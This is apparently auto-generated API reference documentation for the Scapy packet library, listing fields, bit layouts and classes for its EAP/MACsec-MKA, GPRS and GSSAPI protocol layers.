+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CODE     |       ID      |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |L|M|S|RES|VERSI|          MESSAGE LEN          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. EAP_TTLS                           


EAP_TTLS fields






	code

	ByteEnumField

	1



	id

	ByteField

	0



	len

	FieldLenField

	None



	type

	ByteEnumField

	21



	L

	BitField  (1 bit)

	0



	M

	BitField  (1 bit)

	0



	S

	BitField  (1 bit)

	0



	reserved

	BitField  (2 bits)

	0



	version

	BitField  (3 bits)

	0



	message_len

	IntField (Cond)

	0



	data

	XStrLenField

	b''











	
match_subclass = True

	








	
class scapy.layers.eap.LEAP(_pkt, /, *, code=1, id=0, len=None, type=17, version=1, unused=0, count=None, challenge_response=b'', username=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/eap.py#L410-L428]

	Bases: EAP

Cisco LEAP (Lightweight EAP)
https://freeradius.org/rfc/leap.txt


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CODE     |       ID      |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |    VERSION    |     UNUSED    |     COUNT     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       CHALLENGE RESPONSE      |            USERNAME           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. LEAP                             


LEAP fields






	code

	ByteEnumField

	1



	id

	ByteField

	0



	len

	ShortField

	None



	type

	ByteEnumField

	17



	version

	ByteField

	1



	unused

	XByteField

	0



	count

	FieldLenField

	None



	challenge_response

	XStrLenField

	b''



	username

	StrLenField

	b''











	
match_subclass = True

	








	
class scapy.layers.eap.MACsecSCI(_pkt, /, *, system_identifier=None, port_identifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/eap.py#L541-L560]

	Bases: Packet

Secure Channel Identifier.


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/eap.py#L559-L560]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       SYSTEM IDENTIFIER                       |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |        PORT IDENTIFIER        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. MACsecSCI                          


MACsecSCI fields






	system_identifier

	SourceMACField

	None



	port_identifier

	ShortField

	0















	
class scapy.layers.eap.MKABasicParamSet(_pkt, /, *, mka_version_id=0, key_server_priority=0, key_server=0, macsec_desired=0, macsec_capability=0, param_set_body_len=0, SCI=<MACsecSCI  |>, actor_member_id=b'', actor_message_number=0, algorithm_agility=0, cak_name=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/eap.py#L587-L623]

	Bases: Packet

Basic Parameter Set (802.1X-2010, section 11.11).


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/eap.py#L622-L623]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| MKA VERSION ID|KEY SERVER PRIO|K|M|MAC|   PARAM SET BODY LEN  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              SCI              |        ACTOR MEMBER ID        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |      ACTOR MESSAGE NUMBER     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |       ALGORITHM AGILITY       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            CAK NAME           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. MKABasicParamSet                       


MKABasicParamSet fields






	mka_version_id

	ByteField

	0



	key_server_priority

	ByteField

	0



	key_server

	BitField  (1 bit)

	0



	macsec_desired

	BitField  (1 bit)

	0



	macsec_capability

	BitField  (2 bits)

	0



	param_set_body_len

	BitField  (12 bits)

	0



	SCI

	PacketField

	<MACsecSCI  |>



	actor_member_id

	XStrFixedLenField

	b''



	actor_message_number

	XIntField

	0



	algorithm_agility

	XIntField

	0



	cak_name

	PadField

	b''















	
class scapy.layers.eap.MKADistributedCAKParamSet(_pkt, /, *, param_set_type=5, param_set_body_len=0, cak_aes_key_wrap=b'', cak_key_name=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/eap.py#L761-L791]

	Bases: MKAParamSet

Distributed CAK Parameter Set (802.1X-2010, section 11.11).


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| PARAM SET TYPE|       PARAM SET BODY LEN      |CAK AES KEY WRA|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |  CAK KEY NAME |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                  Fig. MKADistributedCAKParamSet                  


MKADistributedCAKParamSet fields






	param_set_type

	PadField

	5



	param_set_body_len

	ShortField

	0



	cak_aes_key_wrap

	XStrFixedLenField

	b''



	cak_key_name

	XStrField

	b''















	
class scapy.layers.eap.MKADistributedSAKParamSet(_pkt, /, *, param_set_type=4, distributed_an=0, confidentiality_offset=0, unused=0, param_set_body_len=0, key_number=b'', macsec_cipher_suite=b'', sak_aes_key_wrap=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/eap.py#L729-L758]

	Bases: MKAParamSet

Distributed SAK parameter set (802.1X-2010, section 11.11).


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| PARAM SET TYPE|DIS|CON| UNUSED|       PARAM SET BODY LEN      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           KEY NUMBER                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      MACSEC CIPHER SUITE                      |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        SAK AES KEY WRAP                       |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. MKADistributedSAKParamSet                  


MKADistributedSAKParamSet fields






	param_set_type

	ByteEnumField

	4



	distributed_an

	BitField  (2 bits)

	0



	confidentiality_offset

	BitField  (2 bits)

	0



	unused

	BitField  (4 bits)

	0



	param_set_body_len

	ShortField

	0



	key_number

	XStrFixedLenField

	b''



	macsec_cipher_suite

	XStrFixedLenField (Cond)

	b''



	sak_aes_key_wrap

	XStrFixedLenField

	b''















	
class scapy.layers.eap.MKAICVSet(_pkt, /, *, param_set_type=255, param_set_body_len=0, icv=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/eap.py#L794-L819]

	Bases: MKAParamSet

ICV (802.1X-2010, section 11.11).


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| PARAM SET TYPE|       PARAM SET BODY LEN      |      ICV      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. MKAICVSet                          


MKAICVSet fields






	param_set_type

	PadField

	255



	param_set_body_len

	ShortField

	0



	icv

	XStrFixedLenField

	b''















	
class scapy.layers.eap.MKALivePeerListParamSet(_pkt, /, *, param_set_type=1, param_set_body_len=0, member_id_message_num=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/eap.py#L638-L663]

	Bases: MKAParamSet

Live Peer List parameter sets (802.1X-2010, section 11.11).


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| PARAM SET TYPE|       PARAM SET BODY LEN      |MEMBER ID MESSA|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                   Fig. MKALivePeerListParamSet                   


MKALivePeerListParamSet fields






	param_set_type

	PadField

	1



	param_set_body_len

	ShortField

	0



	member_id_message_num

	PacketListField

	[]















	
class scapy.layers.eap.MKAPDU(_pkt, /, *, basic_param_set=b'', parameter_sets=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/eap.py#L847-L866]

	Bases: Packet

MACsec Key Agreement Protocol Data Unit.


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/eap.py#L865-L866]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        BASIC PARAM SET        |         PARAMETER SETS        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. MKAPDU                            


MKAPDU fields






	basic_param_set

	PacketField

	b''



	parameter_sets

	MKAParamSetPacketListField

	[]















	
class scapy.layers.eap.MKAParamSet(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/eap.py#L563-L584]

	Bases: Packet

Class from which every parameter set class inherits (except
MKABasicParamSet, which has no “Parameter set type” field, and must
come first in the list of parameter sets).


	
EAPOL_MKA_DEFAULT_KEY_WRAP_LEN = 24

	




	
MACSEC_DEFAULT_ICV_LEN = 16

	




	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/eap.py#L573-L584]

	Returns the right parameter set class.










	
class scapy.layers.eap.MKAParamSetPacketListField(name: str, default: Optional[List[BasePacket]], pkt_cls: Optional[Union[Callable[[bytes], Packet], Type[Packet]]]  # noqa: E501 = None, count_from: Optional[Callable[[Packet], int]] = None, length_from: Optional[Callable[[Packet], int]] = None, next_cls_cb: Optional[Callable[[Packet, List[BasePacket], Optional[Packet], bytes], Type[Packet]]]  # noqa: E501 = None, max_count: Optional[int] = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/eap.py#L822-L844]

	Bases: PacketListField

PacketListField that handles the parameter sets.


	
PARAM_SET_LEN_MASK = 4095

	




	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/eap.py#L832-L844]

	




	
m2i(pkt, m)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/eap.py#L829-L830]

	








	
class scapy.layers.eap.MKAPeerListTuple(_pkt, /, *, member_id=b'', message_number=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/eap.py#L626-L635]

	Bases: Packet

Live / Potential Peer List parameter sets tuples (802.1X-2010, section 11.11).  # noqa: E501


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           MEMBER ID                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         MESSAGE NUMBER                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. MKAPeerListTuple                       


MKAPeerListTuple fields






	member_id

	XStrFixedLenField

	b''



	message_number

	XStrFixedLenField

	b''















	
class scapy.layers.eap.MKAPotentialPeerListParamSet(_pkt, /, *, param_set_type=2, param_set_body_len=0, member_id_message_num=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/eap.py#L666-L691]

	Bases: MKAParamSet

Potential Peer List parameter sets (802.1X-2010, section 11.11).


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| PARAM SET TYPE|       PARAM SET BODY LEN      |MEMBER ID MESSA|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                Fig. MKAPotentialPeerListParamSet                 


MKAPotentialPeerListParamSet fields






	param_set_type

	PadField

	2



	param_set_body_len

	ShortField

	0



	member_id_message_num

	PacketListField

	[]















	
class scapy.layers.eap.MKASAKUseParamSet(_pkt, /, *, param_set_type=3, latest_key_an=0, latest_key_tx=0, latest_key_rx=0, old_key_an=0, old_key_tx=0, old_key_rx=0, plain_tx=0, plain_rx=0, X=0, delay_protect=0, param_set_body_len=0, latest_key_key_server_member_id=b'', latest_key_key_number=b'', latest_key_lowest_acceptable_pn=b'', old_key_key_server_member_id=b'', old_key_key_number=b'', old_key_lowest_acceptable_pn=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/eap.py#L694-L726]

	Bases: MKAParamSet

SAK Use Parameter Set (802.1X-2010, section 11.11).


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| PARAM SET TYPE|LAT|L|L|OLD|O|O|P|P|X|D|   PARAM SET BODY LEN  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                LATEST KEY KEY SERVER MEMBER ID                |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     LATEST KEY KEY NUMBER                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                LATEST KEY LOWEST ACCEPTABLE PN                |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                  OLD KEY KEY SERVER MEMBER ID                 |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       OLD KEY KEY NUMBER                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                  OLD KEY LOWEST ACCEPTABLE PN                 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. MKASAKUseParamSet                      


MKASAKUseParamSet fields






	param_set_type

	ByteEnumField

	3



	latest_key_an

	BitField  (2 bits)

	0



	latest_key_tx

	BitField  (1 bit)

	0



	latest_key_rx

	BitField  (1 bit)

	0



	old_key_an

	BitField  (2 bits)

	0



	old_key_tx

	BitField  (1 bit)

	0



	old_key_rx

	BitField  (1 bit)

	0



	plain_tx

	BitField  (1 bit)

	0



	plain_rx

	BitField  (1 bit)

	0



	X

	BitField  (1 bit)

	0



	delay_protect

	BitField  (1 bit)

	0



	param_set_body_len

	BitField  (12 bits)

	0



	latest_key_key_server_member_id

	XStrFixedLenField

	b''



	latest_key_key_number

	XStrFixedLenField

	b''



	latest_key_lowest_acceptable_pn

	XStrFixedLenField

	b''



	old_key_key_server_member_id

	XStrFixedLenField

	b''



	old_key_key_number

	XStrFixedLenField

	b''



	old_key_lowest_acceptable_pn

	XStrFixedLenField

	b''

















            

          

      

      

    

  

    
      
          
            
  
scapy.layers.gprs

GPRS (General Packet Radio Service) for mobile data communication.


	
class scapy.layers.gprs.GPRS(_pkt, /, *, dummy=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/gprs.py#L15-L19]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             DUMMY             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. GPRS                             


GPRS fields






	dummy

	StrStopField

	b''











	
payload_guess

	Possible sublayers:
IP












            

          

      

      

    

  

    
      
          
            
  
scapy.layers.gssapi

Generic Security Services (GSS) API

Implements parts of:



	GSSAPI: RFC4121 / RFC2743


	GSSAPI C bindings: RFC2744







This is implemented in the following SSPs:



	NTLMSSP


	KerberosSSP


	SPNEGOSSP


	NetlogonSSP








Note

You will find more complete documentation for this layer over at
GSSAPI [https://scapy.readthedocs.io/en/latest/layers/gssapi.html]




	
class scapy.layers.gssapi.ASN1F_GSSAPI_APPLICATION(*seq: Any, **kwargs: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/gssapi.py#L76-L77]

	Bases: ASN1F_SEQUENCE


	
ASN1_tag = <ASN1Tag APPLICATION[96]>

	








	
class scapy.layers.gssapi.ASN1_Class_GSSAPI[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/gssapi.py#L63-L65]

	Bases: ASN1_Class_UNIVERSAL


	
ANY = <ASN1Tag ANY[0]>

	




	
APPLICATION = <ASN1Tag APPLICATION[96]>

	




	
BIT_STRING = <ASN1Tag BIT_STRING[3]>

	




	
BMP_STRING = <ASN1Tag BMP_STRING[30]>

	




	
BOOLEAN = <ASN1Tag BOOLEAN[1]>

	




	
CHAR_STRING = <ASN1Tag CHAR_STRING[29]>

	




	
COUNTER32 = <ASN1Tag COUNTER32[65]>

	




	
COUNTER64 = <ASN1Tag COUNTER64[70]>

	




	
EMBEDDED_PDF = <ASN1Tag EMBEDDED_PDF[11]>

	




	
ENUMERATED = <ASN1Tag ENUMERATED[10]>

	




	
ERROR = <ASN1Tag ERROR[-3]>

	




	
EXTERNAL = <ASN1Tag EXTERNAL[8]>

	




	
GAUGE32 = <ASN1Tag GAUGE32[66]>

	




	
GENERALIZED_TIME = <ASN1Tag GENERALIZED_TIME[24]>

	




	
GENERAL_STRING = <ASN1Tag GENERAL_STRING[27]>

	




	
GRAPHIC_STRING = <ASN1Tag GRAPHIC_STRING[25]>

	




	
IA5_STRING = <ASN1Tag IA5_STRING[22]>

	




	
INTEGER = <ASN1Tag INTEGER[2]>

	




	
IPADDRESS = <ASN1Tag IPADDRESS[64]>

	




	
ISO646_STRING = <ASN1Tag ISO646_STRING[26]>

	




	
NONE = <ASN1Tag NONE[-1]>

	




	
NULL = <ASN1Tag NULL[5]>

	




	
NUMERIC_STRING = <ASN1Tag NUMERIC_STRING[18]>

	




	
OBJECT_DESCRIPTOR = <ASN1Tag OBJECT_DESCRIPTOR[7]>

	




	
OID = <ASN1Tag OID[6]>

	




	
PRINTABLE_STRING = <ASN1Tag PRINTABLE_STRING[19]>

	




	
RAW = <ASN1Tag RAW[-2]>

	




	
REAL = <ASN1Tag REAL[9]>

	




	
RELATIVE_OID = <ASN1Tag RELATIVE_OID[13]>

	




	
SEQUENCE = <ASN1Tag SEQUENCE[48]>

	




	
SET = <ASN1Tag SET[49]>

	




	
STRING = <ASN1Tag STRING[4]>

	




	
T61_STRING = <ASN1Tag T61_STRING[20]>

	




	
TIME_TICKS = <ASN1Tag TIME_TICKS[67]>

	




	
UNIVERSAL_STRING = <ASN1Tag UNIVERSAL_STRING[28]>

	




	
UTC_TIME = <ASN1Tag UTC_TIME[23]>

	




	
UTF8_STRING = <ASN1Tag UTF8_STRING[12]>

	




	
VIDEOTEX_STRING = <ASN1Tag VIDEOTEX_STRING[21]>

	




	
name = 'GSSAPI'

	








	
class scapy.layers.gssapi.ASN1_GSSAPI_APPLICATION(val: _K)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/gssapi.py#L68-L69]

	Bases: ASN1_SEQUENCE


	
tag = <ASN1Tag APPLICATION[96]>

	








	
class scapy.layers.gssapi.BERcodec_GSSAPI_APPLICATION[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/gssapi.py#L72-L73]

	Bases: BERcodec_SEQUENCE


	
tag = <ASN1Tag APPLICATION[96]>

	








	
class scapy.layers.gssapi.GSSAPI_BLOB(_pkt, /, *, MechType=<ASN1_OID['SPNEGO - Simple Protected Negotiation']>, innerToken=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/gssapi.py#L90-L118]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_GSSAPI_APPLICATION(<scapy.asn1fields.ASN1F_OID object>, <scapy.asn1fields.ASN1F_PACKET object>)>

	




	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/gssapi.py#L102-L118]

	




	
fields_desc

	
GSSAPI_BLOB fields






	MechType

	ASN1F_OID

	<ASN1_OID['SPNEGO - Simple Protected Negotiation']>



	innerToken

	ASN1F_PACKET

	None















	
class scapy.layers.gssapi.GSSAPI_BLOB_SIGNATURE(_pkt, /, *, MechType=<ASN1_OID['SPNEGO - Simple Protected Negotiation']>, innerToken=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/gssapi.py#L124-L149]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_GSSAPI_APPLICATION(<scapy.asn1fields.ASN1F_OID object>, <scapy.asn1fields.ASN1F_PACKET object>)>

	




	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/gssapi.py#L138-L149]

	




	
fields_desc

	
GSSAPI_BLOB_SIGNATURE fields






	MechType

	ASN1F_OID

	<ASN1_OID['SPNEGO - Simple Protected Negotiation']>



	innerToken

	ASN1F_PACKET

	None















	
class scapy.layers.gssapi.GSS_C_FLAGS(value, names=None, *values, module=None, qualname=None, type=None, start=1, boundary=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/gssapi.py#L259-L272]

	Bases: IntFlag

Authenticator Flags per RFC2744 req_flags


	
GSS_C_CONF_FLAG = 16

	




	
GSS_C_DCE_STYLE = 4096

	




	
GSS_C_DELEG_FLAG = 1

	




	
GSS_C_EXTENDED_ERROR_FLAG = 16384

	




	
GSS_C_IDENTIFY_FLAG = 8192

	




	
GSS_C_INTEG_FLAG = 32

	




	
GSS_C_MUTUAL_FLAG = 2

	




	
GSS_C_REPLAY_FLAG = 4

	




	
GSS_C_SEQUENCE_FLAG = 8

	








	
class scapy.layers.gssapi.GssBufferDesc(_pkt, /, *, length=None, value=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/gssapi.py#L234-L242]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/gssapi.py#L241-L242]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             LENGTH                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. GssBufferDesc                        


GssBufferDesc fields






	length

	FieldLenField

	None



	value

	StrLenField

	b''















	
class scapy.layers.gssapi.GssChannelBindings(_pkt, /, *, initiator_addrtype=0, initiator_address=<GssBufferDesc  |>, acceptor_addrtype=0, acceptor_address=<GssBufferDesc  |>, application_data=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/gssapi.py#L245-L253]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       INITIATOR ADDRTYPE                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       INITIATOR ADDRESS       |       ACCEPTOR ADDRTYPE       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |        ACCEPTOR ADDRESS       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        APPLICATION DATA       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. GssChannelBindings                      


GssChannelBindings fields






	initiator_addrtype

	LEIntEnumField

	0



	initiator_address

	PacketField

	<GssBufferDesc  |>



	acceptor_addrtype

	LEIntEnumField

	0



	acceptor_address

	PacketField

	<GssBufferDesc  |>



	application_data

	PacketField

	None















	
class scapy.layers.gssapi.SSP(**kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/gssapi.py#L275-L522]

	Bases: object

The general SSP class


	
class CONTEXT(req_flags: GSS_C_FLAGS | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/gssapi.py#L289-L307]

	Bases: object

A Security context i.e. the ‘state’ of the secure negotiation


	
flags

	




	
passive

	




	
state

	








	
